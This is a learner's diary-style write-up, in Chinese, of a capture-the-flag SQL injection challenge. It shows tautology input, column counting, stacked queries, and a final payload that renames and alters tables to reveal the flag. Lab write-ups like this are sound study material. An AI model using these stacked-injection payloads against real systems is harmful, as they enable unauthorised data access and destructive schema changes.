buuctf web [强网杯 2019]随便注 1 -刷题个人日记
小白一个,写给自己看。
打开后是这样。
从题目和内容来看就是一道sql注入题。
输入
1' or 1=1;#
这个#用来注释掉后面的sql语句
显示所有数据,这个数据有什么用我也不知道,但sql注入一般第一步就是这样看看有没有有用的信息(没有)。
输入
1' order by 2;#
1' order by 3;#
到第3列报错,说明只显示两列。
输入1'; show tables;#
可以看到有 1919810931114514 和 words 两个表
进入看看有什么
输入
0'; show columns from `words`;#
0'; show columns from `1919810931114514`;#
表名首尾有 ` 这个符号。在键盘左上角,也可以写出波浪线~。
可以看到words表里有两个属性,即两列:id 和data
而1919810931114514表里只有一个属性列
说明输入框可能查询的就是words表
后台sql语句可能为
select id,data from words where id=
接下来就是如何获取flag了
思路是把1919810931114514表改名为words表,把属性名flag改为id,然后用1’ or 1=1;# 显示flag出来
在这之前当然要先把words表改名为其他
payload:
1';rename table `words` to words2;
rename table `1919810931114514` to `words`;
alter table words change flag id varchar(100);
show tables;
show columns from words;#
后面两句可以不用写,改完再查也行。
最后用1' or 1=1;#
求出flag
flag{f4eb1a89-3469-42e2-a90b-3378585a5039}
参考
[强网杯 2019]随便注 1
SQL Injection8(堆叠注入)——强网杯2019随便注
这是篇写给自己的日记,因为只有自己写得出来而且能让读者看懂才能是真的明白了。写之前我以为我是明白的,写完后才算是真正明白了,写这就是个融会贯通的过程。
这里说明一些细节过程。在show tables show columns from ··· 前可以(或者说必须的?)show databases; 如果显示出数据证明存在堆叠注入,简单来说就是这个; 分号后可以写和执行其他语句的意思。
参考里的1' union select 1,2;#
后显示
过滤掉的这些语句有什么用?我不明白,有这没这好像关系不大8?可能sql注入的题做的不多,看的市面不广的原因现在还不太懂。难道这是用rename和alter的原因吗?如果可以用这些过滤的语句那么该如何解题呢?